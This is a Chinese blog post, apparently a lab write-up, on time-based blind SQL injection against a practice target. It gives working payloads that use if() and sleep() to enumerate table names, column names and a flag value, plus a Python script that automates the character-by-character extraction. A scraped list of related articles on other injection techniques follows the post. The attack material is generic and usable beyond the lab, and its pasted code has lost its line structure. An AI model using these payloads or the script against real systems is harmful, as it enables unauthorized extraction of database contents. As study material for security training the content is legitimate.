延迟盲注

你不知道你输入的数据在sql被执行后是否是正确或错误的。你只知道有数据。

利用原理

借助if语句,如果正确就sleep(5),延迟5秒返回数据。通过数据返回的时间大小判断自己的语句是否正确执行。因为如果正确执行,会休眠5秒。错误执行,立马返回!

靶场1

0x01 是布尔盲注还是延迟盲注

payload

http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and 1=2 -- qwe

这么明显错误的语句,没有报错。只知道是有数据的。那么肯定不是布尔盲注

0x02 判断延迟盲注

payLoad:

id=1%22and%20if(length(database())%3E100,0,sleep(4))%20--+qwe

0x03 进一步注入查表

正确立马返回,错误休眠5秒

payload:

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+

然后开始爆破。因为我的intruder测试模块看不了响应的时间,所有我写了个python脚本去跑。以下源码和结果:

源码:

# -*- coding: utf-8 -*-
import requests
import time def Timesql(proxies, user):
for i in range(1,23): #数据长度 这里我偷了下懒 没有先获取长度
for payload in range(35,130): #遍历取出字符
startTime=time.time()
url = 'http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe' #url
cookies = {
}
response=requests.get(url,proxies=proxies) #发送请求
if time.time() - startTime > 5: #判断是否延时了5秒
user+=chr(payload)
print(chr(payload))
break
if i != len(user): #无数据时候自动结束
break
print ('\nThe result is: '+user) def main():
print ('begining \n')
ip = '127.0.0.1:8080'
proxies = {
'http': 'http://' + ip,
'https': 'https://' + ip
}
user = ''
Timesql(proxies, user) if __name__ == '__main__':
main()

结果:

爆破字段

payload2

1%22+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema%3ddatabas
e()+and+table_name%3d'loflag'+limit+0,1),3,1))%3d129,sleep(6),0)--%20qwe

图片:

查看字段内容

payload:

1%22+and+if(ascii(substr((select+flaglo+from+loflag+limit+1,1),1,1))%3d88,sleep(6),0)--%20qwe

图片:

靶场2

原理一样,注意闭合括号就好了。

payload:

1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe

图片:

SQL注入之延迟盲注的更多相关文章

  1. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  2. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  3. 渗透测试初学者的靶场实战 2--墨者学院SQL注入—报错盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  4. 渗透测试初学者的靶场实战 3--墨者学院SQL注入—宽字节盲注

    墨者SQL注入-MYSQL数据库实战环境 实践步骤 1. 决断注入点 输入单引号,提示错误信息: 输入and 1=1 返回页面正常: 输入 and 1=2 返回正常 输入-1,返回异常: 2. 带入s ...

  5. SQL基于时间的盲注过程

    0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了: 首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是 ...

  6. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  7. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

随机推荐

  1. phpStudy 升级 MySQL5.7

    最新在开发项目中需要使用到mysql5.7以上版本,但是phpStudy的版本是5.5,所以需要针对MySQL升级一下 步骤  1.备份原本MySQL 备份:原本phpStudy中的MySQL文件夹改 ...

  2. IDW插值得到降水量分布图

    4 具体思路 4.1 加载数据 (1)点击[添加数据],选择"中国地面气候资料国际交换站数据集台站信息.csv"."省份.shp"和"2011年中国地 ...

  3. 【Vulnhub靶场】RED: 1

    环境准备 下载靶机导入到vmware 但是获取不到地址,可以根据我博客里的方法修改网卡来获取IP地址 信息收集 我们改好网卡之后,我们使用arp-scan命令来探测靶机的IP地址 靶机IP地址为:19 ...

  4. Python的安装教程与环境配置

    安装环境:Windows7或者Windows10 Python版本:最新即可,这里选用 python 3.7.2: 一.下载:在python的官网下载python版本,需要下载对应版本(在计算机-属性 ...

  5. Redis的Unable to connect to Redis和java.io.IOException: 远程主机强迫关闭了一个现有的连接问题的解决

      学习项目xhr系统用到springboot + vue(https://github.com/lenve/vhr),文档中要求使用到RabbitMQ,但是从我搭建开发环境来看,是否配置Rabbit ...

  6. K8S原来如此简单(四)Service+Ingress

    上一篇我们通过deployment实现了pod的横向扩展,但是仍然不能负载,也不能对外提供服务,现在我们来看看如何通过k8s实现负载与外网访问 Service service为一组pod提供一个统一的 ...

  7. 知识点简单总结——minmax容斥

    知识点简单总结--minmax容斥 minmax容斥 好像也有个叫法叫最值反演? 就是这样的一个柿子: \[max(S) = \sum\limits_{ T \subseteq S } min(T) ...

  8. grep 命令?

    强大的文本搜索命令,grep(Global Regular Expression Print) 全局正则表达式搜索.grep 的工作方式是这样的,它在一个或多个文件中搜索字符串模板.如果模板包括空格, ...

  9. Dubbo 使用过程中都遇到了些什么问题?

    在注册中心找不到对应的服务,检查 service 实现类是否添加了@service 注解 无法连接到注册中心,检查配置文件中的对应的测试 ip 是否正确

  10. struts2学习二:Tomcat的部署目录和访问路径问题

    1:idea中配置tomcat后,那么最终的web工程发布到哪里去了?为什么在访问路径中不加工程名就可以访问? 1.1:因为tomcat有段时间没接触了,先回顾下tomcat的目录结构吧? 如图所示: ...